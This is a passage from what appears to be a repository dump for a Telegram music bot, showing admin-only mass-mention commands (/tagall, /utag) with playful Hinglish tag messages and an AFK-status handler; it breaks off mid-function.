𝐊𝐚𝐢𝐬𝐞 𝐇𝐨 𝐁𝐚𝐛𝐲😇** \",\n           \" **𝐓𝐮𝐦𝐡𝐚𝐫𝐢 𝐌𝐮𝐦𝐦𝐲 𝐊𝐲𝐚 𝐊𝐚𝐫 𝐑𝐚𝐡𝐢 𝐇𝐚𝐢🤭** \",\n           \" **𝐌𝐞𝐫𝐞 𝐒𝐞 𝐁𝐚𝐭 𝐍𝐨𝐢 𝐊𝐫𝐨𝐠𝐞🥺🥺** \",\n           \" **𝐎𝐲𝐞 𝐏𝐚𝐠𝐚𝐥 𝐎𝐧𝐥𝐢𝐧𝐞 𝐀𝐚 𝐉𝐚😶** \",\n           \" **𝐀𝐚𝐣 𝐇𝐨𝐥𝐢𝐝𝐚𝐲 𝐇𝐚𝐢 𝐊𝐲𝐚 𝐒𝐜𝐡𝐨𝐨𝐥 𝐌𝐞..??🤔** \",\n           \" **𝐎𝐲𝐞 𝐆𝐨𝐨𝐝 𝐌𝐨𝐫𝐧𝐢𝐧𝐠😜** \",\n           \" **𝐒𝐮𝐧𝐨 𝐄𝐤 𝐊𝐚𝐦 𝐇𝐚𝐢 𝐓𝐮𝐦𝐬𝐞🙂** \",\n           \" **𝐊𝐨𝐢 𝐒𝐨𝐧𝐠 𝐏𝐥𝐚𝐲 𝐊𝐫𝐨 𝐍𝐚😪** \",\n           \" **𝐍𝐢𝐜𝐞 𝐓𝐨 𝐌𝐞𝐞𝐭 𝐔𝐡☺** \",\n           \" **𝐇𝐞𝐥𝐥𝐨🙊** \",\n           \" **𝐒𝐭𝐮𝐝𝐲 𝐂𝐨𝐦𝐥𝐞𝐭𝐞 𝐇𝐮𝐚??😺** \",\n           \" **𝐁𝐨𝐥𝐨 𝐍𝐚 𝐊𝐮𝐜𝐡 𝐘𝐫𝐫🥲** \",\n           \" **𝐒𝐨𝐧𝐚𝐥𝐢 𝐊𝐨𝐧 𝐇𝐚𝐢...??😅** \",\n           \" **𝐓𝐮𝐦𝐡𝐚𝐫𝐢 𝐄𝐤 𝐏𝐢𝐜 𝐌𝐢𝐥𝐞𝐠𝐢..?😅** \",\n           \" **𝐌𝐮𝐦𝐦𝐲 𝐀𝐚 𝐆𝐲𝐢 𝐊𝐲𝐚😆😆😆** \",\n           \" **𝐎𝐫 𝐁𝐚𝐭𝐚𝐨 𝐁𝐡𝐚𝐛𝐡𝐢 𝐊𝐚𝐢𝐬𝐢 𝐇𝐚𝐢😉** \",\n           \" **𝐈 𝐋𝐨𝐯𝐞 𝐘𝐨𝐮🙈🙈🙈** \",\n           \" **𝐃𝐨 𝐘𝐨𝐮 𝐋𝐨𝐯𝐞 𝐌𝐞..?👀** \",\n           \" **𝐑𝐚𝐤𝐡𝐢 𝐊𝐚𝐛 𝐁𝐚𝐧𝐝 𝐑𝐚𝐡𝐢 𝐇𝐨.??🙉** \",\n           \" **𝐄𝐤 𝐒𝐨𝐧𝐠 𝐒𝐮𝐧𝐚𝐮..?😹** \",\n           \" **𝐎𝐧𝐥𝐢𝐧𝐞 𝐀𝐚 𝐉𝐚 𝐑𝐞 𝐒𝐨𝐧𝐠 𝐒𝐮𝐧𝐚 𝐑𝐚𝐡𝐢 𝐇𝐮😻** \",\n           \" **𝐈𝐧𝐬𝐭𝐚𝐠𝐫𝐚𝐦 𝐂𝐡𝐚𝐥𝐚𝐭𝐞 𝐇𝐨..??🙃** \",\n           \" **𝐖𝐡𝐚𝐭𝐬𝐚𝐩𝐩 𝐍𝐮𝐦𝐛𝐞𝐫 𝐃𝐨𝐠𝐞 𝐀𝐩𝐧𝐚 𝐓𝐮𝐦..?😕** \",\n           \" **𝐓𝐮𝐦𝐡𝐞 𝐊𝐨𝐧 𝐒𝐚 𝐌𝐮𝐬𝐢𝐜 𝐒𝐮𝐧𝐧𝐚 𝐏𝐚𝐬𝐚𝐧𝐝 𝐇𝐚𝐢..?🙃** \",\n           \" **𝐒𝐚𝐫𝐚 𝐊𝐚𝐦 𝐊𝐡𝐚𝐭𝐚𝐦 𝐇𝐨 𝐆𝐲𝐚 𝐀𝐚𝐩𝐤𝐚..?🙃** \",\n           \" **𝐊𝐚𝐡𝐚 𝐒𝐞 𝐇𝐨 𝐀𝐚𝐩😊** \",\n           \" **𝐒𝐮𝐧𝐨 𝐍𝐚 [@BRANDRD_BOT]🧐** \",\n           \" **𝐌𝐞𝐫𝐚 𝐄𝐤 𝐊𝐚𝐚𝐦 𝐊𝐚𝐫 𝐃𝐨𝐠𝐞..?** \",\n           \" **𝐁𝐲 𝐓𝐚𝐭𝐚 𝐌𝐚𝐭 𝐁𝐚𝐭 𝐊𝐚𝐫𝐧𝐚 𝐀𝐚𝐣 𝐊𝐞 𝐁𝐚𝐝😠** \",\n           \" **𝐌𝐨𝐦 𝐃𝐚𝐝 𝐊𝐚𝐢𝐬𝐞 𝐇𝐚𝐢𝐧..?❤** \",\n           \" **𝐊𝐲𝐚 𝐇𝐮𝐚..?👱** \",\n           \" **𝐁𝐨𝐡𝐨𝐭 𝐘𝐚𝐚𝐝 𝐀𝐚 𝐑𝐡𝐢 𝐇𝐚𝐢 🤧❣️** \",\n           \" **𝐁𝐡𝐮𝐥 𝐆𝐲𝐞 𝐌𝐮𝐣𝐡𝐞😏😏** \",\n           \" **𝐉𝐮𝐭𝐡 𝐍𝐡𝐢 𝐁𝐨𝐥𝐧𝐚 𝐂𝐡𝐚𝐡𝐢𝐲𝐞🤐** \",\n           \" **𝐊𝐡𝐚 𝐋𝐨 𝐁𝐡𝐚𝐰 𝐌𝐚𝐭 𝐊𝐫𝐨 𝐁𝐚𝐚𝐭😒** \",\n           \" **𝐊𝐲𝐚 𝐇𝐮𝐚😮😮** \"\n           \" **𝐇𝐢𝐢👀** \",\n           \" **𝐀𝐚𝐩𝐤𝐞 𝐉𝐚𝐢𝐬𝐚 𝐃𝐨𝐬𝐭 𝐇𝐨 𝐒𝐚𝐭𝐡 𝐌𝐞 𝐅𝐢𝐫 𝐆𝐮𝐦 𝐊𝐢𝐬 𝐁𝐚𝐭 𝐊𝐚 🙈** \",\n           \" **𝐀𝐚𝐣 𝐌𝐚𝐢 𝐒𝐚𝐝 𝐇𝐮 ☹️** \",\n           \" **𝐌𝐮𝐬𝐣𝐡𝐬𝐞 𝐁𝐡𝐢 𝐁𝐚𝐭 𝐊𝐚𝐫 𝐋𝐨 𝐍𝐚 🥺🥺** \",\n           \" **𝐊𝐲𝐚 𝐊𝐚𝐫 𝐑𝐚𝐡𝐞 𝐇𝐨👀** \",\n           \" **𝐊𝐲𝐚 𝐇𝐚𝐥 𝐂𝐡𝐚𝐥 𝐇𝐚𝐢 🙂** \",\n           \" **𝐊𝐚𝐡𝐚 𝐒𝐞 𝐇𝐨 𝐀𝐚𝐩..?🤔** \",\n           \" **𝐂𝐡𝐚𝐭𝐭𝐢𝐧𝐠 𝐊𝐚𝐫 𝐋𝐨 𝐍𝐚..🥺** \",\n           \" **𝐌𝐞 𝐌𝐚𝐬𝐨𝐨𝐦 𝐇𝐮 𝐍𝐚🥺🥺** \",\n           \" **𝐊𝐚𝐥 𝐌𝐚𝐣𝐚 𝐀𝐲𝐚 𝐓𝐡𝐚 𝐍𝐚🤭😅** \",\n           \" **𝐆𝐫𝐨𝐮𝐩 𝐌𝐞 𝐁𝐚𝐭 𝐊𝐲𝐮 𝐍𝐚𝐡𝐢 𝐊𝐚𝐫𝐭𝐞 𝐇𝐨😕** \",\n           \" **𝐀𝐚𝐩 𝐑𝐞𝐥𝐚𝐭𝐢𝐨𝐦𝐬𝐡𝐢𝐩 𝐌𝐞 𝐇𝐨..?👀** \",\n           \" **𝐊𝐢𝐭𝐧𝐚 𝐂𝐡𝐮𝐩 𝐑𝐚𝐡𝐭𝐞 𝐇𝐨 𝐘𝐫𝐫😼** \",\n           \" **𝐀𝐚𝐩𝐤𝐨 𝐆𝐚𝐧𝐚 𝐆𝐚𝐧𝐞 𝐀𝐚𝐭𝐚 𝐇𝐚𝐢..?😸** \",\n           \" **𝐆𝐡𝐮𝐦𝐧𝐞 𝐂𝐡𝐚𝐥𝐨𝐠𝐞..??🙈** \",\n           \" **𝐊𝐡𝐮𝐬 𝐑𝐚𝐡𝐚 𝐊𝐚𝐫𝐨 ✌️🤞** \",\n           \" **𝐇𝐚𝐦 𝐃𝐨𝐬𝐭 𝐁𝐚𝐧 𝐒𝐚𝐤𝐭𝐞 𝐇𝐚𝐢...?🥰** \",\n           \" **𝐊𝐮𝐜𝐡 𝐁𝐨𝐥 𝐊𝐲𝐮 𝐍𝐡𝐢 𝐑𝐚𝐡𝐞 𝐇𝐨..🥺🥺** \",\n           \" **𝐊𝐮𝐜𝐡 𝐌𝐞𝐦𝐛𝐞𝐫𝐬 𝐀𝐝𝐝 𝐊𝐚𝐫 𝐃𝐨 🥲** \",\n           \" **𝐒𝐢𝐧𝐠𝐥𝐞 𝐇𝐨 𝐘𝐚 𝐌𝐢𝐧𝐠𝐥𝐞 😉** \",\n           \" **𝐀𝐚𝐨 𝐏𝐚𝐫𝐭𝐲 𝐊𝐚𝐫𝐭𝐞 𝐇𝐚𝐢𝐧😋🥳** \",\n           \" **𝐇𝐞𝐦𝐥𝐨𝐨🧐** \",\n           \" **𝐌𝐮𝐣𝐡𝐞 𝐁𝐡𝐮𝐥 𝐆𝐲𝐞 𝐊𝐲𝐚🥺** \",\n           \" **𝐘𝐚𝐡𝐚 𝐀𝐚 𝐉𝐚𝐨:-[@BRANDED_WORLD]  𝐌𝐚𝐬𝐭𝐢 𝐊𝐚𝐫𝐞𝐧𝐠𝐞 🤭🤭** \",\n           \" **𝐓𝐫𝐮𝐭𝐡 𝐀𝐧𝐝 𝐃𝐚𝐫𝐞 𝐊𝐡𝐞𝐥𝐨𝐠𝐞..? 😊** \",\n           \" **𝐀𝐚𝐣 𝐌𝐮𝐦𝐦𝐲 𝐍𝐞 𝐃𝐚𝐭𝐚 𝐘𝐫🥺🥺** \",\n           \" **𝐉𝐨𝐢𝐧 𝐊𝐚𝐫 𝐋𝐨🤗** \",\n           \" **𝐄𝐤 𝐃𝐢𝐥 𝐇𝐚𝐢 𝐄𝐤 𝐃𝐢𝐥 𝐇𝐢 𝐓𝐨 𝐇𝐚𝐢😗😗** \",\n           \" **𝐓𝐮𝐦𝐡𝐚𝐫𝐞 𝐃𝐨𝐬𝐭 𝐊𝐚𝐡𝐚 𝐆𝐲𝐞🥺** \",\n           \" **𝐌𝐲 𝐂𝐮𝐭𝐞 𝐎𝐰𝐧𝐞𝐫{ @BRANDED_PAID_CC}🥰** \",\n           \" **𝐊𝐚𝐡𝐚 𝐊𝐡𝐨𝐲𝐞 𝐇𝐨 𝐉𝐚𝐚𝐧😜** \",\n           \" **𝐆𝐨𝐨𝐝 𝐍8 𝐉𝐢 𝐁𝐡𝐮𝐭 𝐑𝐚𝐭 𝐇𝐨 𝐠𝐲𝐢🥰** \",\n           ]\n\nVC_TAG = [ \"**𝐎𝚈𝙴 𝐕𝙲 𝐀𝙰𝙾 𝐍𝙰 𝐏𝙻𝚂🥲**\",\n         \"**𝐉𝙾𝙸𝙽 𝐕𝙲 𝐅𝙰𝚂𝚃 𝐈𝚃𝚂 𝐈𝙼𝙰𝙿𝙾𝚁𝚃𝙰𝙽𝚃😬**\",\n         \"**𝐂𝙾𝙼𝙴 𝚅𝙲 𝙱𝙰𝙱𝚈 𝙵𝙰𝚂𝚃🏓**\",\n         \"**𝐁𝙰𝙱𝚈 𝐓𝚄𝙼 𝐁𝙷𝙸 𝐓𝙷𝙾𝚁𝙰 𝐕𝙲 𝐀𝙰𝙽𝙰🥰**\",\n         \"**𝐎𝚈𝙴 𝐂𝙷𝙰𝙼𝚃𝚄 𝐕𝙲 𝐀𝙰 𝐄𝙺 𝐄𝙰𝙼 𝐇𝙰𝙸🤨**\",\n         \"**𝐒𝚄𝙽𝙾 𝐕𝙲 𝐉𝙾𝙸𝙽 𝐊𝚁 𝐋𝙾🤣**\",\n         \"**𝐕𝙲 𝐀𝙰 𝐉𝙰𝙸𝚈𝙴 𝐄𝙺 𝐁𝙰𝚁😁**\",\n         \"**𝐕𝙲 𝐓𝙰𝙿𝙺𝙾 𝐆𝙰𝙼𝙴 𝐂𝙷𝙰𝙻𝚄 𝐇𝙰𝙸⚽**\",\n         \"**𝐕𝙲 𝐀𝙰𝙾 𝐁𝙰𝚁𝙽𝙰 𝐁𝙰𝙽 𝐇𝙾 𝐉𝙰𝙾𝙶𝙴🥺**\",\n         \"**𝐒𝙾𝚁𝚁𝚈 𝐕𝙰𝙱𝚈 𝐏𝙻𝚂 𝐕𝙲 𝐀𝙰 𝐉𝙰𝙾 𝐍𝙰😥**\",\n         \"**𝐕𝙲 𝐀𝙰𝙽𝙰 𝐄𝙺 𝐂𝙷𝙸𝙹 𝐃𝙸𝙺𝙷𝙰𝚃𝙸 𝐇𝚄🙄**\",\n         \"**𝐕𝙲 𝐌𝙴 𝐂𝙷𝙴𝙲𝙺 𝐊𝚁𝙺𝙴 𝐁𝙰𝚃𝙰𝙾 𝐓𝙾 𝐒𝙾𝙽𝙶 𝐏𝙻𝙰𝚈 𝐇𝙾 𝐑𝙷𝙰 𝐇?🤔**\",\n         \"**𝐕𝙲 𝐉𝙾𝙸𝙽 𝐊𝚁𝙽𝙴 𝐌𝙴 𝐊𝚈𝙰 𝐉𝙰𝚃𝙰 𝐇 𝐓𝙷𝙾𝚁𝙰 𝐃𝙴𝚁 𝐊𝙰𝚁 𝐋𝙾 𝐍𝙰🙂**\",\n        ]\n\n\n@app.on_message(filters.command([\"tagall\"], prefixes=[\"/\", \"@\", \".\", \"#\"]))\nasync def mentionall(client, message):\n    chat_id = message.chat.id\n    if message.chat.type == ChatType.PRIVATE:\n        return await message.reply(\"𝐓𝐡𝐢𝐬 𝐂𝐨𝐦𝐦𝐚𝐧𝐝 𝐎𝐧𝐥𝐲 𝐅𝐨𝐫 𝐆𝐫𝐨𝐮𝐩𝐬.\")\n\n    is_admin = False\n    try:\n        participant = await client.get_chat_member(chat_id, message.from_user.id)\n    except UserNotParticipant:\n        is_admin = False\n    else:\n        if participant.status in (\n            ChatMemberStatus.ADMINISTRATOR,\n            ChatMemberStatus.OWNER\n        ):\n            is_admin = True\n    if not is_admin:\n        return await message.reply(\"𝐘𝐨𝐮 𝐀𝐫𝐞 𝐍𝐨𝐭 𝐀𝐝𝐦𝐢𝐧 𝐁𝐚𝐛𝐲, 𝐎𝐧𝐥𝐲 𝐀𝐝𝐦𝐢𝐧𝐬 𝐂𝐚𝐧 . \")\n\n    if message.reply_to_message and message.text:\n        return await message.reply(\"/tagall  𝐓𝐲𝐩𝐞 𝐋𝐢𝐤𝐞 𝐓𝐡𝐢𝐬 / 𝐑𝐞𝐩𝐥𝐲 𝐀𝐧𝐲 𝐌𝐞𝐬𝐬𝐚𝐠𝐞 𝐍𝐞𝐱𝐭 𝐓𝐢𝐦𝐞 \")\n    elif message.text:\n        mode = \"text_on_cmd\"\n        msg = message.text\n    elif message.reply_to_message:\n        mode = \"text_on_reply\"\n        msg = message.reply_to_message\n        if not msg:\n            return await message.reply(\"/tagall  𝐓𝐲𝐩𝐞 𝐋𝐢𝐤𝐞 𝐓𝐡𝐢𝐬 / 𝐑𝐞𝐩𝐥𝐲 𝐀𝐧𝐲 𝐌𝐞𝐬𝐬𝐚𝐠𝐞 𝐍𝐞𝐱𝐭 𝐓𝐢𝐦𝐞 ...\")\n    else:\n        return await message.reply(\"/tagall  𝐓𝐲𝐩𝐞 𝐋𝐢𝐤𝐞 𝐓𝐡𝐢𝐬 / 𝐑𝐞𝐩𝐥𝐲 𝐀𝐧𝐲 𝐌𝐞𝐬𝐬𝐚𝐠𝐞 𝐍𝐞𝐱𝐭 𝐓𝐢𝐦𝐞 ..\")\n    if chat_id in spam_chats:\n        return await message.reply(\"𝐏𝐥𝐞𝐚𝐬𝐞 𝐀𝐭 𝐅𝐢𝐫𝐬𝐭 𝐒𝐭𝐨𝐩 𝐑𝐮𝐧𝐧𝐢𝐧𝐠 𝐏𝐫𝐨𝐜𝐞𝐬𝐬 ...\")\n    spam_chats.append(chat_id)\n    usrnum = 0\n    usrtxt = \"\"\n    async for usr in client.get_chat_members(chat_id):\n        if not chat_id in spam_chats:\n            break\n        if usr.user.is_bot:\n            continue\n        usrnum += 1\n        usrtxt += \"<a href='tg://user?id={}'>{}</a>\".format(usr.user.id, usr.user.first_name)\n\n        if usrnum == 1:\n            if mode == \"text_on_cmd\":\n                txt = f\"{usrtxt} {random.choice(TAGMES)}\"\n                await client.send_message(chat_id, txt)\n            elif mode == \"text_on_reply\":\n                await msg.reply(f\"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})\")\n            await asyncio.sleep(4)\n            usrnum = 0\n            usrtxt = \"\"\n    try:\n        spam_chats.remove(chat_id)\n    except:\n        pass\n\n@app.on_message(filters.command([\"tagoff\", \"tagstop\"]))\nasync def cancel_spam(client, message):\n    if not message.chat.id in spam_chats:\n        return await message.reply(\"𝐂𝐮𝐫𝐫𝐞𝐧𝐭𝐥𝐲 𝐈'𝐦 𝐍𝐨𝐭 ..\")\n    is_admin = False\n    try:\n        participant = await client.get_chat_member(message.chat.id, message.from_user.id)\n    except UserNotParticipant:\n        is_admin = False\n    else:\n        if participant.status in (\n            ChatMemberStatus.ADMINISTRATOR,\n            ChatMemberStatus.OWNER\n        ):\n            is_admin = True\n    if not is_admin:\n        return await message.reply(\"𝐘𝐨𝐮 𝐀𝐫𝐞 𝐍𝐨𝐭 𝐀𝐝𝐦𝐢𝐧 𝐁𝐚𝐛𝐲, 𝐎𝐧𝐥𝐲 𝐀𝐝𝐦𝐢𝐧𝐬 𝐂𝐚𝐧 𝐓𝐚𝐠 𝐌𝐞𝐦𝐛𝐞𝐫𝐬.\")\n    else:\n        try:\n            spam_chats.remove(message.chat.id)\n        except:\n            pass\n        return await message.reply(\"🌷 𝐁𝐑𝐀𝐍𝐃𝐄𝐃 𝐓𝐀𝐆 𝐀𝐋𝐋 𝐏𝐑𝐎𝐂𝐄𝐒𝐒 𝐒𝐓𝐎𝐏𝐏𝐄𝐃 🎉\")\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/utag.py",
    "content": "import asyncio\nimport random\nfrom pyrogram import Client, filters\nfrom pyrogram.enums import ChatType\nfrom pyrogram.enums import ChatType, ChatMemberStatus\nfrom pyrogram.errors import UserNotParticipant\nfrom pyrogram.types import ChatPermissions\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.utils.branded_ban import admin_filter\n\nSPAM_CHATS = {}\n\n\n@app.on_message(\n    filters.command([\"utag\", \"uall\"], prefixes=[\"/\", \"@\", \".\", \"#\"]) & admin_filter\n)\nasync def tag_all_users(_, message):\n    global SPAM_CHATS\n    chat_id = message.chat.id\n    if len(message.text.split()) == 1:\n        await message.reply_text(\n            \"** ɢɪᴠᴇ sᴏᴍᴇ ᴛᴇxᴛ ᴛᴏ ᴛᴀɢ ᴀʟʟ, ʟɪᴋᴇ »** `@utag Hi Friends`\"\n        )\n        return\n\n    text = message.text.split(None, 1)[1]\n    if text:\n        await message.reply_text(\n            \"**ᴜᴛᴀɢ [ᴜɴʟɪᴍɪᴛᴇᴅ ᴛᴀɢ] sᴛᴀʀᴛᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ!**\\n\\n**๏ ᴛᴀɢɢɪɴɢ ᴡɪᴛʜ sʟᴇᴇᴘ ᴏғ 7 sᴇᴄ.**\\n\\n**➥ ᴏғғ ᴛᴀɢɢɪɴɢ ʙʏ » /stoputag**\"\n        )\n\n    SPAM_CHATS[chat_id] = True\n    f = True\n    while f:\n        if SPAM_CHATS.get(chat_id) == False:\n            await message.reply_text(\"**ᴜɴʟɪᴍɪᴛᴇᴅ ᴛᴀɢɢɪɴɢ sᴜᴄᴄᴇssғᴜʟʟʏ sᴛᴏᴘᴘᴇᴅ.**\")\n            break\n        usernum = 0\n        usertxt = \"\"\n        try:\n            async for m in app.get_chat_members(message.chat.id):\n                if m.user.is_bot:\n                    continue\n                usernum += 1\n                usertxt += f\"\\n⊚ [{m.user.first_name}](tg://user?id={m.user.id})\\n\"\n                if usernum == 5:\n                    await app.send_message(\n                        message.chat.id,\n                        f\"{text}\\n{usertxt}\\n\\n|| ➥ ᴏғғ ᴛᴀɢɢɪɴɢ ʙʏ » /stoputag ||\",\n                    )\n                    usernum = 0\n                    usertxt = \"\"\n                    await asyncio.sleep(7)\n        except Exception as e:\n            print(e)\n\n\n@app.on_message(\n    filters.command(\n        [\"stoputag\", \"stopuall\", \"offutag\", \"offuall\", \"utagoff\", \"ualloff\"],\n        prefixes=[\"/\", \".\", \"@\", \"#\"],\n    )\n    & admin_filter\n)\nasync def stop_tagging(_, message):\n    global SPAM_CHATS\n    chat_id = message.chat.id\n    if SPAM_CHATS.get(chat_id) == True:\n        SPAM_CHATS[chat_id] = False\n        return await message.reply_text(\"**ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ sᴛᴏᴘᴘɪɴɢ ᴜɴʟɪᴍɪᴛᴇᴅ ᴛᴀɢɢɪɴɢ...**\")\n    else:\n        await message.reply_text(\"**ᴜᴛᴀɢ ᴘʀᴏᴄᴇss ɪs ɴᴏᴛ ᴀᴄᴛɪᴠᴇ**\")\n"
  },
  {
    "path": "BrandrdXMusic/plugins/bot/afk.py",
    "content": "import time, re\nfrom pyrogram.enums import MessageEntityType\nfrom pyrogram import filters\nfrom pyrogram.types import Message\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.mongo.readable_time import get_readable_time\nfrom BrandrdXMusic.mongo.afkdb import add_afk, is_afk, remove_afk\n\n\n@app.on_message(filters.command([\"afk\", \"brb\"], prefixes=[\"/\", \"!\"]))\nasync def active_afk(_, message: Message):\n    if message.sender_chat:\n        return\n    user_id = message.from_user.id\n    verifier, reasondb = await is_afk(user_id)\n    if verifier:\n        await remove_afk(user_id)\n        try:\n            afktype = reasondb[\"type\"]\n            timeafk = reasondb[\"time\"]\n            data = reasondb[\"data\"]\n            reasonafk = reasondb[\"reason\"]\n            seenago = get_readable_time((int(time.time() - timeafk)))\n            if afktype == \"text\":\n                send = await message.reply_text(\n                    f\"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\",\n                    disable_web_page_preview=True,\n                )\n            if afktype == \"text_reason\":\n                send = await message.reply_text(\n                    f\"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\\n\\nʀᴇᴀsᴏɴ: `{reasonafk}`\",\n                    disable_web_page_preview=True,\n                )\n            if afktype == \"animation\":\n                if str(reasonafk) == \"None\":\n                    send = await message.reply_animation(\n                        data,\n                        caption=f\"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\",\n                    )\n                else:\n                    send = await message.reply_animation(\n                        data,\n                        caption=f\"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\\n\\nʀᴇᴀsᴏɴ: `{reasonafk}`\",\n                    )\n            if afktype == \"photo\":\n                if str(reasonafk) == \"None\":\n                    send = await message.reply_photo(\n                        photo=f\"downloads/{user_id}.jpg\",\n                        caption=f\"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\",\n                    )\n                else:\n                    send = await message.reply_photo(\n                        photo=f\"downloads/{user_id}.jpg\",\n                        caption=f\"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\\n\\nʀᴇᴀsᴏɴ: `{reasonafk}`\",\n                    )\n        except Exception:\n            send = await message.reply_text(\n                f\"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ\",\n                disable_web_page_preview=True,\n            )\n\n    if len(message.command) == 1 and not message.reply_to_message:\n        details = {\n            \"type\": \"text\",\n            \"time\": time.time(),\n            \"data\": None,\n            \"reason\": None,\n        }\n    elif len(message.command) > 1 and not message.reply_to_message:\n        _reason = (message.text.split(None, 1)[1].strip())[:100]\n        details = {\n            \"type\": \"text_reason\",\n            \"time\": time.time(),\n            \"data\": None,\n            \"reason\": _reason,\n        }\n    elif len(message.command) == 1 and message.reply_to_message.animation:\n        _data = message.reply_to_message.animation.file_id\n        details = {\n            \"type\": \"animation\",\n            \"time\": time.time(),\n            \"data\": _data,\n            \"reason\": None,\n        }\n    elif len(message.command) > 1 and message.reply_to_message.animation:\n        _data = message.reply_to_message.animation.file_id\n        _reason = (message.text.split(None, 1)[1].strip())[:100]\n        details = {\n            \"type\": \"animation\",\n            \"time\": time.time(),\n            \"data\": _data,\n            \"reason\": _reason,\n        }\n    elif len(message.command) == 1 and message.reply_to_message.photo:\n        await app.download_media(message.reply_to_message, file_name=f\"{user_id}.jpg\")\n        details = {\n            \"type\": \"photo\",\n            \"time\": time.time(),\n            \"data\": None,\n            \"reason\": None,\n        }\n    elif len(message.command) > 1 and message.reply_to_message.photo:\n        await app.download_media(message.reply_to_message, file_name=f\"{user_id}.jpg\")\n        _reason = message.text.split(None, 1)[1].strip()\n        details = {\n            \"type\": \"photo\",\n            \"time\": time.time(),\n            \"data\": None,\n            \"reason\": _reason,\n        }\n    elif len(message.command) == 1 and message.reply_to_message.sticker:\n        if message.reply_to_message.sticker.is_animated:\n            details = {\n                \"type\": \"text\",\n                \"time\": time.time(),\n                \"data\": None,\n                \"reason\": None,\n            }\n        else:\n            await app.download_media(\n                message.reply_to_message, file_name=f\"{user_id}.jpg\"\n            )\n            details = {\n                \"type\": \"photo\",\n                \"time\": time.time(),\n                \"data\": None,\n                \"reason\": None,\n            }\n    elif len(message.command) > 1 and message.reply_to_message.sticker:\n        _reason = (message.text.split(None, 1)[1].strip())[:100]\n        if message.reply_to_message.sticker.is_animated:\n            details = {\n                \"type\": \"text_reason\",\n                \"time\": time.time(),\n                \"data\": None,\n                \"reason\": _reason,\n            }\n        else:\n            await app.download_media(\n                message.reply_to_message, file_name=f\"{user_id}.jpg\"\n            )\n            details = {\n                \"type\": \"photo\",\n                \"time\": time.time(),\n                \"data\": None,\n                \"reason\": _reason,\n            }\n    else:\n        details = {\n            \"type\": \"text\",\n            \"time\": time.time(),\n            \"data\": None,\n            \"reason\": None,\n        }\n\n    await add_afk(user_id, details)\n    await message.reply_text(f\"{message.from_user.first_name} ɪs ɴᴏᴡ ᴀғᴋ!\")\n\n\nchat_watcher_group = 1\n\n\n@app.on_message(\n    ~filters.me & ~filters.bot & ~filters.via_bot,\n    group=chat_watcher_group,\n)\nasync def chat_watcher_func(_, message):\n    if message.sender_chat:\n        return\n    userid = message.from_user.id\n    user_name = message.from_user.first_name\n    if message.entities:\n        possible = [\"/afk\", f\"/afk@{app.username}\"]\n        message_text = message.text or message.caption\n        for entity in message.entities:\n            if entity.type == MessageEntityType.BOT_COMMAND:\n                if (message_text[0 : 0 + entity.length]).lower() in possible:\n                    return\n\n    msg = \"\"\n    replied_user_id = 0\n\n    verifier, reasondb = await is_afk(userid)\n    if verifier:\n        await remove_afk(userid)\n        try:\n            afktype = reasondb[\"type\"]\n            timeafk = reasondb[\"time\"]\n            data = reasondb[\"data\"]\n            reasonafk = reasondb[\"reason\"]\n            seenago = get_readable_time((int(time.time() - timeafk)))\n            if afktype == \"text\":\n                msg += f\"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\\n\\n\"\n            if afktype == \"text_reason\":\n                msg += f\"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\\n\\nʀᴇᴀsᴏɴ: `{reasonafk}`\\n\\n\"\n            if afktype == \"animation\":\n                if str(reasonafk) == \"None\":\n                    send = await message.reply_animation(\n                        data,\n                        caption=f\"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\\n\\n\",\n                    )\n                else:\n                    send = await message.reply_animation(\n                        data,\n                        caption=f\"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\\n\\nʀᴇᴀsᴏɴ: `{reasonafk}`\\n\\n\",\n                    )\n            if afktype == \"photo\":\n                if str(reasonafk) == \"None\":\n                    send = await message.reply_photo(\n                        photo=f\"downloads/{userid}.jpg\",\n                        caption=f\"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\\n\\n\",\n                    )\n                else:\n                    send = await message.reply_photo(\n                        photo=f\"downloads/{userid}.jpg\",\n                        caption=f\"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\\n\\nʀᴇᴀsᴏɴ: `{reasonafk}`\\n\\n\",\n                    )\n        except:\n            msg += 